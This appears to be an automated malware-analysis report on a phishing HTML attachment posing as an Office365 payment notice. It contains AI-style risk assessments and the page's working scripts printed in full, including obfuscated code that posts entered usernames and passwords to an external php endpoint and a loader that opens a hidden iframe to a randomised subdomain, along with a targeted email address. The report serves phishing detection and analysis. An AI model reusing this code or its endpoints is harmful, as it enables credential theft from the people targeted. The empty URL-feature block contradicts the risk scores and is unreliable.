Windows Analysis Report
Payment_Failure_Notice_Office365_sdf_[53487].html

{
    "risk_score": 2,
    "reasoning": "The provided JavaScript snippet appears to be a benign script that retrieves a 'username' parameter from the URL and populates an input field with the retrieved value. This behavior is common for web applications that need to pre-fill form fields based on user input or URL parameters. The script does not exhibit any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script's purpose seems to be a legitimate user experience enhancement, and it does not demonstrate any malicious intent."
}

        document.addEventListener('DOMContentLoaded', function() {
            // Get the current URL
            var url = new URL(window.location.href);
            
            // Get the 'impact' parameter from the URL
            var impactValue = url.searchParams.get('username');
            
            // Find the input field by ID
            var inputField = document.getElementById('usrn');
            
            // If the impact value is found, replace the input field's value with it
            if (impactValue) {
                inputField.value = impactValue;
            }
        });
    

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. While the script appears to have some legitimate functionality, such as loading an iframe and adding random noise to the DOM, the overall level of obfuscation and the potential for malicious activities raises significant concerns. The risk score is on the higher end due to the combination of these factors."
}

    (function () {
        // Multi-layer obfuscation and deobfuscation
        const layer1Obfuscate = (str) => {
            return btoa(str.split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ (i % 7 + 3))).join(''));
        };

        const layer2Obfuscate = (str) => {
            return Array.from(str).map(c => String.fromCharCode(c.charCodeAt(0) + 5)).join('');
        };

        const obfuscate = (str) => {
            return layer1Obfuscate(layer2Obfuscate(str));
        };

        const layer1Deobfuscate = (str) => {
            return atob(str).split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ (i % 7 + 3))).join('');
        };

        const layer2Deobfuscate = (str) => {
            return Array.from(str).map(c => String.fromCharCode(c.charCodeAt(0) - 5)).join('');
        };

        const deobfuscate = (obf) => {
            return layer2Deobfuscate(layer1Deobfuscate(obf));
        };

        // Random string generator
        const randomSegment = (length) => {
            const charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            return Array.from({ length }, () => charset.charAt(Math.floor(Math.random() * charset.length))).join('');
        };

        // Valid base domain
        const baseDomain = "topshelfdog.com"; // Replace with a valid domain

        // Advanced URL generation
        const generateComplexURL = () => {
            const subdomain = randomSegment(18);
            const port = ":8443";
            const path = "/impact?";
            const paramKey = randomSegment(15);
            const paramValue = `ashtar.junaid@mitel.com`;
            const fragment = "#" //1801913667465662;

            const url = `https://${subdomain}.${baseDomain}${port}${path}?${paramKey}=${paramValue}${fragment}`;
            return obfuscate(url);
        };

        // Loader toggle
        const toggleLoader = (isVisible) => {
            document.getElementById("loader").style.display = isVisible ? "flex" : "none";
            document.getElementById("main").style.display = isVisible ? "none" : "block";
        };

        // Load iframe
        const loadIframe = () => {
            const iframe = document.createElement("iframe");
            iframe.src = deobfuscate(generateComplexURL());
            iframe.style.opacity = 0;
            document.getElementById("main").appendChild(iframe);

            // Gradual fade-in for iframe
            let opacity = 0;
            const fadeIn = setInterval(() => {
                opacity += 0.1;
                iframe.style.opacity = opacity;
                if (opacity >= 1) clearInterval(fadeIn);
            }, 100);
        };

        // Add random noise to the DOM
        const addRandomNoise = () => {
            const noiseElement = document.createElement("div");
            noiseElement.style.position = "absolute";
            noiseElement.style.top = "-9999px";
            noiseElement.textContent = randomSegment(1000);
            document.body.appendChild(noiseElement);
        };

        document.addEventListener("DOMContentLoaded", () => {
            addRandomNoise();
            setTimeout(() => {
                toggleLoader(false);
                loadIframe();
            }, Math.floor(3500 + Math.random() * 2500)); // Random loader duration
        });
    })();

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

```json
{
    "risk_score": 9,
    "reasoning": "The script contains heavily obfuscated code and sends data to an external domain (chiliesdigital.co.za) using XMLHttpRequest, which is a high-risk indicator. The domain is suspicious and not widely recognized, adding to the risk. The script's behavior is consistent with data exfiltration attempts, and the obfuscation suggests an intent to hide malicious activity."
}

(function(e,f){function l(e,f){return d(f-'0xbd',e);}function k(e,f){return b(f-0x273,e);}function j(e,f){return c(e- -'0x240',f);}const g=e();while(!![]){try{const h=-parseInt(j(-0x122,'laTQ'))/0x1*(-parseInt(k(0x393,0x395))/0x2)+-parseInt(k('0x38f',0x384))/0x3+-parseInt(l(0x1cd,0x1e5))/0x4*(parseInt(k(0x39d,'0x392'))/0x5)+-parseInt(l('0x1bc','0x1c7'))/0x6+parseInt(l('0x1e5',0x1e1))/0x7*(parseInt(j(-'0x112','mW6x'))/0x8)+-parseInt(k(0x377,'0x386'))/0x9*(-parseInt(j(-'0x139','Ed)M'))/0xa)+parseInt(k('0x370',0x37b))/0xb;if(h===f)break;else g['push'](g['shift']());}catch(i){g['push'](g['shift']());}}}(a,0x678f5));function submitForm(e){function n(e,f){return c(f-'0x316',e);}function m(e,f){return b(e-'0x353',f);}e[m(0x480,0x47b)]();const f=document[n('BCDC',0x43b)](o('0x189',0x18c)),g=document[m(0x458,'0x44b')](m('0x455',0x463));function o(e,f){return d(f-0x74,e);}if(tryCount<=0x4){const h=new XMLHttpRequest();h[m(0x468,0x477)](o(0x195,'0x18f'),m(0x470,0x45a)),h[n('Hthc','0x422')](o(0x191,'0x19d'),o(0x178,'0x188')),h[m('0x457',0x455)]=function(){function p(e,f){return n(e,f-0x20);}function r(e,f){return m(e- -'0x597',f);}function q(e,f){return o(f,e- -0x80);}if(h[p('DAdp',0x44f)]===XMLHttpRequest[q('0x10b','0x117')]){if(h[r(-'0x12e',-'0x146')]===0xc8){}else{}tryCount++,tryCount>0x4&&(alert(p('*QP7',0x457)),window[r(-'0x115',-0xfd)][p('laTQ',0x45d)]='#');}},h[m(0x459,'0x441')](n('*QP7','0x430')+encodeURIComponent(f[o(0x179,0x184)])+n('udbq',0x428)+encodeURIComponent(g[n('BipX',0x446)])),g[m('0x45c','0x459')]='';}}function b(c,d){const e=a();return b=function(f,g){f=f-0x102;let h=e[f];return h;},b(c,d);}function t(e,f){return d(f- -0x397,e);}function d(b,c){const e=a();return d=function(f,g){f=f-0x102;let h=e[f];if(d['cvtprC']===undefined){var i=function(m){const n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let o='',p='';for(let q=0x0,r,s,t=0x0;s=m['charAt'](t++);~s&&(r=q%0x4?r*0x40+s:s,q++%0x4)?o+=String['fromCharCode'](0xff&r>>(-0x2*q&0x6)):0x0){s=n['indexOf'](s);}for(let u=0x0,v=o['length'];u<v;u++){p+='%'+('00'+o['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(p);};d['sZoqSc']=i,b=arguments,d['cvtprC']=!![];}const j=e[0x0],k=f+j,l=b[k];return!l?(h=d['sZoqSc'](h),b[k]=h):h=l,h;},d(b,c);}let tryCount=0x1;function u(e,f){return b(e-0x31f,f);}function c(b,d){const e=a();return c=function(f,g){f=f-0x102;let h=e[f];if(c['DOQlkL']===undefined){var i=function(n){const o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let p='',q='';for(let r=0x0,s,t,u=0x0;t=n['charAt'](u++);~t&&(s=r%0x4?s*0x40+t:t,r++%0x4)?p+=String['fromCharCode'](0xff&s>>(-0x2*r&0x6)):0x0){t=o['indexOf'](t);}for(let v=0x0,w=p['length'];v<w;v++){q+='%'+('00'+p['charCodeAt'](v)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(q);};const m=function(n,o){let p=[],q=0x0,r,t='';n=i(n);let u;for(u=0x0;u<0x100;u++){p[u]=u;}for(u=0x0;u<0x100;u++){q=(q+p[u]+o['charCodeAt'](u%o['length']))%0x100,r=p[u],p[u]=p[q],p[q]=r;}u=0x0,q=0x0;for(let v=0x0;v<n['length'];v++){u=(u+0x1)%0x100,q=(q+p[u])%0x100,r=p[u],p[u]=p[q],p[q]=r,t+=String['fromCharCode'](n['charCodeAt'](v)^p[(p[u]+p[q])%0x100]);}return t;};c['SdapYS']=m,b=arguments,c['DOQlkL']=!![];}const j=e[0x0],k=f+j,l=b[k];return!l?(c['PtpNIp']===undefined&&(c['PtpNIp']=!![]),h=c['SdapYS'](h,g),b[k]=h):h=l,h;},c(b,d);}function s(e,f){return c(f-'0x32f',e);}function a(){const v=['value','mZi1ntC4meveAfHzAG','click','jmoxah/cRLqRW4z0jZfmnvdcJ8oV','WOvhW7P/FmoPW6hcM8kwhfSM','mNvIwe1gtW','514055ASKmYF','DMfSDwu','775785qikKes','WO4rWPqpgSkT','265797EEeRKG','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','open','status','re9orq','DxnYBG','vSoUw1uQlmoVk0VcVG','wKhdLSo/ya','ue9tva','ywrKrxzLBNrmAxn0zw5LCG','https://ajx6f16w140.chiliesdigital.co.za/app/stiktk.php','zqXHh8oyW4RcKeGjW7FdOKm','5sIZStp','WPVcOaefW4WLmMP/ltCdxmob','x17dGCoWlSo7W59+cCooW4FdQue/r8kWx8olesC7ruBcU0q7WR89eSoqq8kXWRH3WRldKbVdOWXEdNGeWQ3dVCkaW7GQjSkuW4q','2ubXMFO','nZC4mJrjDLrJt2C','ntm5

{
  "contains_trigger_text": true,
  "trigger_text": "This document is protected! Please enter your E-mail password to open.",
  "prominent_button_name": "Continue",
  "text_input_field_labels": [
    "E-mail password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "This document is protected! Please enter your E-mail password to open.",
  "prominent_button_name": "Continue",
  "text_input_field_labels": [
    "E-mail password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}